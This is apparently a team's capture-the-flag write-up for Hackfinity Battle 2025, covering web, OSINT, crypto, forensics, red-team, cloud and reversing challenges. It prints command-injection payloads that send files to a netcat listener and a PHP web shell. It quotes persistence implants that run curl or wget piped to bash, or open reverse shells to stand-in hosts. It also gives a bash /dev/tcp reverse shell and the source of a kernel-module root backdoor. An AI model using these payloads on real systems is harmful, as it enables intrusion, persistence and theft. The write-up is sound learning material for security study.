Hackfinity Battle CTF 2025
Hey, fellow hackers! 🏴☠️
In this writeup 📝, I’ll break down some of the exciting challenges solved by myself and my squad P4rad0x. Let’s dive in and unpack the flags, one puzzle at a time. 🧩💡
Web
Notepad

I am given a simple login for an online notepad service.
Credentials:
User:
noel
Pass:
pass1234

After logging in, the URL shows a classic pattern: /note?id=1

That triggered an alarm. And it is IDOR (Insecure Direct Object Reference). Tampering with the ID parameter gives access to other users notes.
Changing id=1
→ id=0
revealed the very first note created on the service… and inside:

THM{i_can_see_your_notes}
Dark Encryptor

Upon visiting http://<machine_ip>:5000
, you’re greeted with a site offering encryption using PGP. It accepts a message from the user and returns the encrypted version.

Submitting ;
alone gave an error indicating bash was parsing the input — a sign of command injection.

By chaining commands, like:
; ls
I can list the directory contents.

By listing the files in the directory, I found a file flag.txt
Using cat
printed the contents of the file.
; cat flag.txt
THM{pgp_cant_stop_me}
Dark Encryptor 2

This time, the site allows you to upload a file and choose a recipient for encryption using GPG.

After uploading a file, the app returns a .gpg
link:

Accessing this directly works — but there’s more.
Changing the recipient didn’t yield much — until you tried injecting into the filename or parameters.
Eventually, command injection slipped through in "recipient" parameter . Using payloads like before:
; ls
will not go through

Using ; $(ls)
will throw an error in encryption attempt. which shows the command is running but we can't see the output here.

So , I used netcat to receive data from the server. A crafted reverse shell allowed it to send command output to the listener.
; $( ls | nc <listener-ip> <listener-port> )

I can list the directory contents. By listing the files in the directory, I found a file flag.txt
Using cat
printed the contents of the file.
; $( cat flag.txt | nc <listener-ip> <listener-port> )
THM{going_in_bl1nd_2394}
Osint
Catch me if you can

We’re provided with a image of Cipher’s accomplice “Phicer” leaving a restaurant.
The mission: Identify the burger restaurant using only the photo. Time to zoom in, enhance, and hit the virtual streets.
Here's the image we were given:

After inspecting the image closely, I noticed a unique street art mural on the wall in the background — a perfect anchor for visual location hunting.
I tried several reverse image search engines (Google Lens, Yandex), and after a bit of patience, I got a hit! The mural appeared in a few public Instagram posts, mostly geotagged around São Paulo, Brazil. Narrowing further, I matched the mural to a specific alley known for graffiti art.

Boom💥— we hit the spot!
THM{coringa_do_beco}
Catch Me If You Can 3

The next challenge builds on the previous one — now that we’ve found a visual clue, we need to dig into one of Cipher’s safe house locations.
We’re given a clue that mentions Mr. Wok, and the location is somewhere in São Paulo.
The Approach:
I Googled: "mr.wok" "safe house" São Paulo

It led me to a business listing and maps result that matched the style and area from the previous clue. I examined the address and compared it to our last known location.
It checked out! This was indeed one of Cipher’s safe spots.
THM{83_galvao_bueno}
Cryptography
Order

We’re given this hex blob:
1c1c01041963730f31352a3a386e24356b3d32392b6f6b0d323c22243f6373
1a0d0c302d3b2b1a292a3a38282c2f222d2a112d282c31202d2d2e24352e60
Assume the message starts with
ORDER:
XOR the first 6 bytes of the ciphertext with
ORDER:
to get the keyUse the repeating key to decrypt the whole thing
💻 Decryption Script:
msg = "1c1c01041963730f31352a3a386e24356b3d32392b6f6b0d323c22243f63731a0d0c302d3b2b1a292a3a38282c2f222d2a112d282c31202d2d2e24352e60"
encmsg = bytes.fromhex(msg)
key = "ORDER:"
dec_key = ""
for i in range(len(key)):
dec_key += chr(encmsg[i] ^ ord(key[i]))
dec_msg = ""
for i in range(len(encmsg)):
dec_msg += chr(encmsg[i] ^ ord(dec_key[i%6]))
print(dec_msg)
Result: ORDER: Attack at dawn. Target: THM{the_hackfinity_highschool}
THM{the_hackfinity_highschool}
Cipher's Secret Message

We found a strange encrypted string and the algorithm that created it. Time to play cipher surgeon.
a_up4qr_kaiaf0_bujktaz_qm_su4ux_cpbq_ETZ_rhrudm
Encryption Logic:
They used a twist on the Caesar cipher — for each letter in the message, shift it forward by its position index.
Python snippet:
from secret import FLAG
def enc(plaintext):
return "".join(
chr((ord(c) - (base := ord('A') if c.isupper() else ord('a')) + i) % 26 + base)
if c.isalpha() else c
for i, c in enumerate(plaintext)
)
with open("message.txt", "w") as f:
f.write(enc(FLAG))
To decrypt, we simply reverse the index shift.
💻 Decryption Script:
encmsg = "a_up4qr_kaiaf0_bujktaz_qm_su4ux_cpbq_ETZ_rhrudm"
shifted_chr = ""
for i, c in enumerate(encmsg):
if c.isalpha():
if c.isupper():
base = ord('A')
else:
base = ord('a')
shifted_chr += chr((ord(c) - base - i) % 26 + base)
else:
shifted_chr += c
print(shifted_chr)
Output:
THM{a_sm4ll_crypt0_message_to_st4rt_with_THM_cracks}
Cryptosystem

We intercepted Cipher’s secret RSA message. All we got is a file containing the encrypted flag and the encryption logic. Time to go full 007.
Understanding the Given RSA Setup
You provided an RSA encryption setup where:
p is a 1024-bit prime
q is the next prime after p
n=p×q
e=65537 (common public exponent) # 0x10001
c is the encrypted flag
To decrypt c back to plaintext. First, Get p and q, From the code:
p = getPrime(1024)
q = primo(p)
p is random, and q is the next prime after p (primo(p)).
Given
n = p × q
, we can factor n by finding the largest prime ≤ sqrt(n). And, Obtain d
ϕ(n) = (p−1) × (q−1)
d= e^−1 mod ϕ(n)
Using modular inverse, we compute d. Then, find the flag.
m = c^d mod n
Convert m (the decrypted number) back to a string.
💻 Decryption Script:
from Crypto.Util.number import long_to_bytes, inverse, isPrime
from sympy import nextprime
import math
# Given values
c = 3591116664311986976882299385598135447435246460706500887241769555088416359682787844532414943573794993699976035504884662834956846849863199643104254423886040489307177240200877443325036469020737734735252009890203860703565467027494906178455257487560902599823364571072627673274663460167258994444999732164163413069705603918912918029341906731249618390560631294516460072060282096338188363218018310558256333502075481132593474784272529318141983016684762611853350058135420177436511646593703541994904632405891675848987355444490338162636360806437862679321612136147437578799696630631933277767263530526354532898655937702383789647510
n = 15956250162063169819282947443743274370048643274416742655348817823973383829364700573954709256391245826513107784713930378963551647706777479778285473302665664446406061485616884195924631582130633137574953293367927991283669562895956699807156958071540818023122362163066253240925121801013767660074748021238790391454429710804497432783852601549399523002968004989537717283440868312648042676103745061431799927120153523260328285953425136675794192604406865878795209326998767174918642599709728617452705492122243853548109914399185369813289827342294084203933615645390728890698153490318636544474714700796569746488209438597446475170891
e = 0x10001 # Public exponent (65537)
p = math.isqrt(n) # Approximate square root of 'n'
while not isPrime(p):
p -= 1
q = nextprime(p) # Since q is the next prime after p
assert p * q == n # Ensure correct factorization
phi = (p - 1) * (q - 1)
d = inverse(e, phi) # Obtain private exponent 'd'
m = pow(c, d, n)
flag = long_to_bytes(m)
print("Decrypted Flag:", flag.decode())
Output:
THM{Just_s0m3_small_amount_of_RSA!}
Forensics
Stolen Mount

Loaded the provided challenge.pcapng
file in Wireshark. Immediately noticed a bunch of TCP and NFS traffic—lots of noise, but we need the signal. Scanned for patterns and signatures… then
BOOM! Found a familiar ZIP file header.

Looked for PK\x03\x04
in Wireshark (magic bytes of ZIP files). Found it buried in a data packet.
Extracted the entire hexdump of the ZIP stream and used CyberChef to reconstruct the ZIP file.

ZIP is Password Protected?!
Not a problem—this isn’t our first rodeo.
Dug deeper in the PCAP and found an MD5 hash floating in one of the packets.

Cracked the Hash using CrackStation. The password of the zip file is avengers
.💥

Unzipped the file with the password and it worked!. Inside a QR code.

Scanned the QR for flag.
THM{n0t_s3cur3_f1l3_sh4r1ng}
Infinity Shell

Something shady hit this CMS site. Let's rewind the tape and see how the attacker broke in, and what shell games they played.
Explored the Web Server, Navigated through the CMS site and discovered a db.php
file and started poking around. It has the SQL username and password with that I searched the database.

Accessed SQL Database and found php_cms
as the main DB.
MariaDB [php_cms]> show tables;
+-------------------+
| Tables_in_php_cms |
+-------------------+
| categories |
| comments |
| posts |
| users |
+-------------------+
4 rows in set (0.000 sec)
In that the "users" table looked interesting… and one entry stood out:
MariaDB [php_cms]> select * from users;
+---------+------------+----------------+---------------+--------------------------------------------------------------+------------------------+-------------------------+-----------+----------+
| user_id | user_name | user_firstname | user_lastname | user_password | user_email | user_image | user_role | randsalt |
+---------+------------+----------------+---------------+--------------------------------------------------------------+------------------------+-------------------------+-----------+----------+
[REDACTED]
| 8 | not_cipher | not | cipher | $2y$10$.r0xqnJI.1c4kmVReStRvOC3IekD6L7WH9PJLgNnNv2awxZVSfLz6 | notcipher@proton.me | images.php | User | dgas |
+---------+------------+----------------+---------------+--------------------------------------------------------------+------------------------+-------------------------+-----------+----------+
5 rows in set (0.001 sec)
A PHP file as a profile image? Classic Web Shell trick!
Inspected the Malicious File:
<?php system(base64_decode($_GET['query'])); ?>
A very compact Remote Command Execution (RCE) backdoor.
The attacker could send base64-encoded commands via the URL.
So, I hunted for the log files and I found some interesting logs in /var/log/apache2/other_vhosts_access.log.1
. It logged every move of the attacker!

ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:50:41 +0000] "GET /CMSsite-master/img/images.php HTTP/1.1" 500 185 "http://10.10.80.94:8080/CMSsite-master/img/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:50:57 +0000] "GET /CMSsite-master/img/images.php?query=d2hvYW1pCg== HTTP/1.1" 200 212 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:11 +0000] "GET /CMSsite-master/img/images.php?query=bHMK HTTP/1.1" 200 660 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:20 +0000] "GET /CMSsite-master/img/images.php?query=ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo= HTTP/1.1" 200 229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:28 +0000] "GET /CMSsite-master/img/images.php?query=aWZjb25maWcK HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:40 +0000] "GET /CMSsite-master/img/images.php?query=Y2F0IC9ldGMvcGFzc3dkCg== HTTP/1.1" 200 1546 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:47 +0000] "GET /CMSsite-master/img/images.php?query=aWQK HTTP/1.1" 200 258 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
Decoded Base64 Commands:
?query=d2hvYW1pCg== # whoami
?query=bHMK # ls
?query=ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo= # echo 'THM{sup3r_34sy_w3bsh3ll}'
?query=aWZjb25maWcK # ifconfig
?query=Y2F0IC9ldGMvcGFzc3dkCg== # cat /etc/passwd
?query=aWQK # id

THM{sup3r_34sy_w3bsh3ll}
Sneaky Patch

Analysts say there's something shady deep in the kernel. Normal tools aren't seeing it. Looks like we're dealing with a backdoored module. Let’s dig deeper than deep
First step, I scanned kernel logs, looked into /var/log/kern.log
and spotted this spicy entry:
[CIPHER BACKDOOR] Module loaded. Write data to /proc/cipher_bd
/proc/cipher_bd , but the file is empty. After some looking around, I stumble upon the name “spatch”.
It is a custom kernel module (spatch
) and it was loaded:
spatch: loading out-of-tree module taints kernel.
spatch: module verification failed: signature and/or required key missing - tainting kernel
For identifiying the module details. I used lsmod
, it showed it was active.
modinfo spatch
gave metadata:
filename: /lib/modules/6.8.0-1016-aws/kernel/drivers/misc/spatch.ko
description: Cipher is always root
author: Cipher
license: GPL
srcversion: 81BE8A2753A1D8A9F28E91E
depends:
retpoline: Y
name: spatch
vermagic: 6.8.0-1016-aws SMP mod_unload modversions
This gives so much inforamtion about the backdoor, in that we got the kernel object file spatch.ko
.
Used strings
on it and found some interesting data.
Here's the secret: 54484d7b73757033725f736e33346b795f643030727d0a
Decoding the hex, Boom💥
THM{sup3r_sn34ky_d00r}
Hide and Seek

"I've sprinkled a few persistence implants across your system, like digital Easter eggs... Time is on my side, always running like clockwork..."
He gave us riddles. We gave him receipts.
Clue 1: "Time is on my side, always running like clockwork."
Sounds like... cronjobs or anything time-based. But got nothing. Then I looked into system logs.
Found something in /var/log/syslog.1
(root) CMD (/bin/bash -c 'echo Y3VybCAtcyA1NDQ4NGQ3Yjc5MzAuc3RvcmFnM19jMXBoM3JzcXU0ZC5uZXQvYS5zaCB8IGJhc2gK |
base64 -d | bash 2>/dev/null')
Decoding the base64 gives us curl -s 54484d7b7930.storag3_c1ph3rsqu4d.net/a.sh | bash

54484d7b7930
is hex → converts to
THM{y0
Clue 2: “A secret handshake gets me in every time.”
Handshake = SSH
There are five users to be exact, I search every user's ".ssh". User "zeroday" has ".authorized_keys" file. Inside it has a interesting string
326e6420706172743a20755f6730745f.local

326e6420706172743a20755f6730745f
is hex → converts to
2nd part: u_g0t_
Clue 3: "Whenever you set the stage, I make my entrance."
This one's theatrical — maybe a reference to login scripts. There is no user defined scripts.
Then I checked the .bashrc
and .profile
file of every user.
.bashrc
— jackpot in specter
user profile:
nc -e /bin/bash 4d334a6b58334130636e513649444e324d334a3564416f3d.cipher.io 443 2>/dev/null

4d334a6b58334130636e513649444e324d334a3564416f3d
is hex → converts to
3rd_p4rt: 3v3ryt
Clue 4: "I run with the big dogs, booting up alongside the system."
Persistence at system startup? Checked for systemd services...
systemctl list-unit-files | grep enabled
Found a shady one:
...
brltty.service disabled enabled
cipher.service enabled enabled
cloud-config.service enabled enabled
...
cipher.service
enabled and running.
Then I searched through the service and how it is executed using
systemctl show cipher | grep ExecStart
ExecStart={ path=/bin/bash ; argv[]=/bin/bash -c wget NHRoIHBhcnQgLSBoMW5nXyAK.s1mpl3bd.com --output - | bash 2>/dev/null ; ignore_errors=no ; start_time=[n/a] ; stop_time=[n/a] ; pid=0 ; code=(null) ; status=0/0 }
ExecStartEx={ path=/bin/bash ; argv[]=/bin/bash -c wget NHRoIHBhcnQgLSBoMW5nXyAK.s1mpl3bd.com --output - | bash 2>/dev/null ; flags= ; start_time=[n/a] ; stop_time=[n/a] ; pid=0 ; code=(null) ; status=0/0 }
NHRoIHBhcnQgLSBoMW5nXyAK.s1mpl3bd.com
in this we get

NHRoIHBhcnQgLSBoMW5nXyAK
is base64 → converts to
4th part - h1ng_
Clue 5: “I love welcome messages.”
Checked:
/etc/motd
→ Message of the Day/etc/issue
→ Pre-login message/etc/issue.net
→ Remote login message
No luck. Then I dove into /etc/update-motd.d/00-header
— bingo.
python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("4c61737420706172743a206430776e7d0.h1dd3nd00r.n3t",)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' 2>/dev/null
4c61737420706172743a206430776e7d0.h1dd3nd00r.n3t
from this we get

4c61737420706172743a206430776e7d0
is hex → converts to
Last part: d0wn}
Final flag → THM{y0u_g0t_3v3ryth1ng_d0wn}
Red Teaming
Avengers Hub

Initial Reconnaissance
Network Scanning:
The first step was to perform an Nmap scan to identify open ports and services running on the target machine.
nmap -sC -sV <attacker-ip> | tee nmap.txt
Scan Results:
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2025-03-19 22:14 IST
Nmap scan report for 10.10.92.2
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 5d:ec:b7:14:10:c9:a5:ef:61:28:5f:da:c1:ca:5c:3b (RSA)
| 256 08:71:38:b0:4b:5b:85:3a:c0:b2:6a:01:f2:51:44:40 (ECDSA)
|_ 256 7c:31:c1:1b:ad:cf:0b:51:e4:23:b8:ea:31:c6:40:7f (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Cyber Avengers Hub - Under Construction
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 54.83 seconds
The scan reveals two open ports:
Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu.
Port 80 (HTTP): Apache 2.4.41 web server hosting a website titled Cyber Avengers Hub - Under Construction.
With this information, I turned my focus to exploring the web application.
Web Enumeration

Navigating through the website, I uncovered two important directories:
/backups
/var/log
Inside the /backups
directory, I found a password-protected ZIP file named breakglass.zip
. Before attempting to crack it, I explored the /var/log
directory.

Here, I found a log file named php_error.log.php, but it was inaccessible, indicating a possible dead-end.
Cracking the Zip Password:

Since the breakglass.zip
file was encrypted, I used zip2john
to extract the hash and then cracked it with John the Ripper
using the rockyou.txt
wordlist.
zip2john breakglass.zip > breakglassziphash
john --wordlist=/usr/share/wordlists/rockyou.txt breakglassziphash
Cracked Password: avenger2008
After extracting the ZIP file, I found a recovery.txt
file containing an MD5 hash for the admin password.
In case of emergency, here's the MD5 hash of the admin account:
b0439fae31f8cbba6294af86234d5a28
Using an online hash-cracking service crackstation, the hash revealed the plaintext password: securepassword
.
Admin Login & Exploitation
Logging into CMS:
Using the credentials admin:securepassword
, I gained access to the WBCE-CMS v1.6.2 admin panel.
A quick search revealed an exploit for this version: WBCE CMS v1.6.2 - Remote Command Execution.


Exploiting the Vulnerability:
The exploit involved uploading a PHP file through the CMS elFinder tool:
Log in as admin and navigate to Admin Tools.
Open elFinder (
https://<target-ip>/admin/admintools/tool.php?tool=elfinder
).Upload a malicious PHP script (
exp.inc
).Access the uploaded file (
https://<target-ip>/media/exp.inc
).
To test the functionality, I uploaded a simple PHP script to output phpinfo()
.


<html>
<body>
<pre>
<?php
$output = '';
$output = phpinfo();
echo htmlspecialchars($output);
?>
</pre>
</body>
</html>

The output showed that functions like system
and shell_exec
were disabled, but popen
was available.
Gaining the Reverse shell
Since popen
was enabled, I leveraged it to spawn a reverse shell, Reference: popen revshell exploit
<html>
<body>
<pre>
<?php
$cmd = "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/6969 0>&1'";
$fp = popen($cmd, 'r');
while(!feof($fp)) {
fread($fp, 4096);
}
pclose($fp);
?>
</pre>
</body>
</html>
After uploading the script and setting up a Netcat listener, I received a shell.
nc -lvnp 6969

Inside the shell, I enumerated user home directories:
ls /home
qathm ubuntu void
Inside void
's home directory, I found an .ssh
folder with writable .authorized_keys
.
SSH Privilege Escalation
To establish persistent access, I generated an SSH key and appended my public key to .authorized_keys
.
ssh-keygen -t rsa -b 2048 -C <name>
chmod 600 id_rsa
ssh void@<machine-ip> -i id_rsa
Now, I had SSH access as user void.

THM{us3r_f00th0ld}
Privilege Escalation to Root
Running sudo -l
, I found:
User void may run the following commands on this host:
(ALL) NOPASSWD: /sbin/insmod cyberavengers.ko, /sbin/rmmod cyberavengers
This meant I could load and unload kernel modules. I crafted a malicious kernel module to escalate privileges.
Kernel Module Backdoor:
I used reference from Linux kernel module backdoor by matheuspd and a little Chatgpt to make it.
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Cipher");
MODULE_DESCRIPTION("Cipher is always root!");
int exec_sh_cmd(char *cmd) {
char *argv[] = {"/bin/bash", "-c", cmd, NULL};
char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
printk(KERN_INFO "[CIPHER BACKDOOR] Executing command: %s\\n", cmd);
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
if (ret < 0) {
printk(KERN_ERR "[CIPHER BACKDOOR] Error executing command: %d\\n", ret);
return ret;
}
printk(KERN_INFO "[CIPHER BACKDOOR] Command executed successfully\\n");
return 0;
}
static int __init shell_exec_init(void) {
printk(KERN_INFO "[CIPHER BACKDOOR] Module loaded\\n");
exec_sh_cmd("chmod +s /bin/bash");
return 0;
}
static void __exit shell_exec_exit(void) {
printk(KERN_INFO "[CIPHER BACKDORR] Module unloaded\\n");
}
module_init(shell_exec_init);
module_exit(shell_exec_exit);
Makefile:
obj-m += cyberavengers.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Compiling and Executing:
make # create kernel object file
sudo insmod cyberavengers.ko # inserting the kernel object as module
ls -la /bin/bash # Check if modified
/bin/bash -p
Now, I had root access:
void@ip-10-10-216-248:/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
void@ip-10-10-216-248:/tmp$ /bin/bash -p
bash-5.0# whoami
root
The mission was complete!
bash-5.0# dmesg | tail -10
[ 31.036288] IPv6: ADDRCONF(NETDEV_CHANGE): ens5: link becomes ready
[ 39.004438] loop11: detected capacity change from 0 to 8
[ 39.809455] audit: type=1400 audit(1743487459.535:48): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/lib/snapd/snap-confine" pid=880 comm="apparmor_parser"
[ 39.828554] audit: type=1400 audit(1743487459.555:49): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/lib/snapd/snap-confine//mount-namespace-capture-helper" pid=880 comm="apparmor_parser"
[ 3427.746909] cyberavengers: loading out-of-tree module taints kernel.
[ 3427.746947] cyberavengers: module verification failed: signature and/or required key missing - tainting kernel
[ 3427.747636] [CIPHER BACKDOOR] Module loaded
[ 3427.747639] [CIPHER BACKDOOR] Executing command: chmod +s /bin/bash
[ 3427.750970] [CIPHER BACKDOOR] Command executed successfully
[ 3597.433668] [CIPHER BACKDORR] Module unloaded
The command is executed and the log is printed as planned.
THM{l3ts_t4k3_1t_b4ck}
Cloud
Cloud sanity check

I've been handed AWS credentials with a hint: “You only have access to one service — and it’s the one with the flag."
Time to gear up with the aws-cli
and dive in.
aws configure
AWS Access Key ID [None]: AKIAU2VYTBGYDDZ5Z7UW
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Confirmed the identity with the command aws sts get-caller-identity
User: arn:aws:iam::332173347248:user/user0
Enumeration :
I started probing all available services — until secretsmanager
responds!
I listed the secrets manager using :
aws secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-west-2:332173347248:secret:secret-flag-Im0H0Z",
"Name": "secret-flag",
"LastChangedDate": "2025-03-17T12:45:42.026000+05:30",
"LastAccessedDate": "2025-03-19T05:30:00+05:30",
"Tags": [],
"SecretVersionsToStages": {
"a007a97d-73c7-430d-879f-e9cc72013f6a": [
"AWSCURRENT"
]
},
"CreatedDate": "2025-03-17T12:45:41.704000+05:30"
}
]
}
ID : secret-flag
Extracting the contents of the secret-flag using the command :
aws secretsmanager get-secret-value --secret-id secret-flag
SecretString : "{"flag":"THM{for_your_eyes_only}"}",
THM{for_your_eyes_only}
A Bucket of Phish

A phishing site hosted via AWS S3 has been targeting users. I was asked to recover the list of victims.
🖥️ Website:
http://darkinjector-phish.s3-website-us-west-2.amazonaws.com
Listing S3 buckets using:
aws s3 ls s3://darkinjector-phish/
Discovered a suspicious file: captured-logins-093582390
Download & Reviewed the file using :
aws s3 cp s3://darkinjector-phish/captured-logins-093582390 .
The contents of the captured-logins-093582390
is :
user,pass
munra@thm.thm,Password123
test@thm.thm,123456
mario@thm.thm,Mario123
flag@thm.thm,THM{this_is_not_what_i_meant_by_public}
THM{this_is_not_what_i_meant_by_public}
Reversing
Compute Magic

We’re handed a binary from a Phantom server with a simple objective: “Compute some magic!”. Our task? Reverse-engineer the logic, understand what this binary expects, and extract the flag.
After executing the binary locally, it prompts for an input — no hints, just a blank stare waiting for 16 characters.
Loading it into a disassembler (Ghidra), we spot the following:

It reads 16 bytes of input.
The input is passed into a function named
check_spell
.Within
check_spell
, a function of interest appears:func_17
.

Inside func_17
, two notable calls caught the eye:
check_other
read_flag
Here’s the strategy: make it to read_flag()
by satisfying whatever logic check_other()
imposes.


Digging into the logic :
The check_other()
function is doing some math on each character of the input, comparing the results with a hardcoded string: "AhhF1ag1571GHFDS"
By tracing the operations, we deduce the transformation applied to each character:
# Decryption logic (in reverse)
string = "AhhF1ag1571GHFDS"
for i in range(16):
print(chr(ord(msg[i]) + 4 ^ 13),end='') # HaaG8hf8468FAGEZ
This gives us the required input: HaaG8hf8468FAGEZ
Connecting to the server with netcat and feeding the input, the flag pops right out.
nc <machine-ip> 9003
Compute some magic!
HaaG8hf8468FAGEZ
THM{s0m3_mag1c_that_can_b3_computed}
Last updated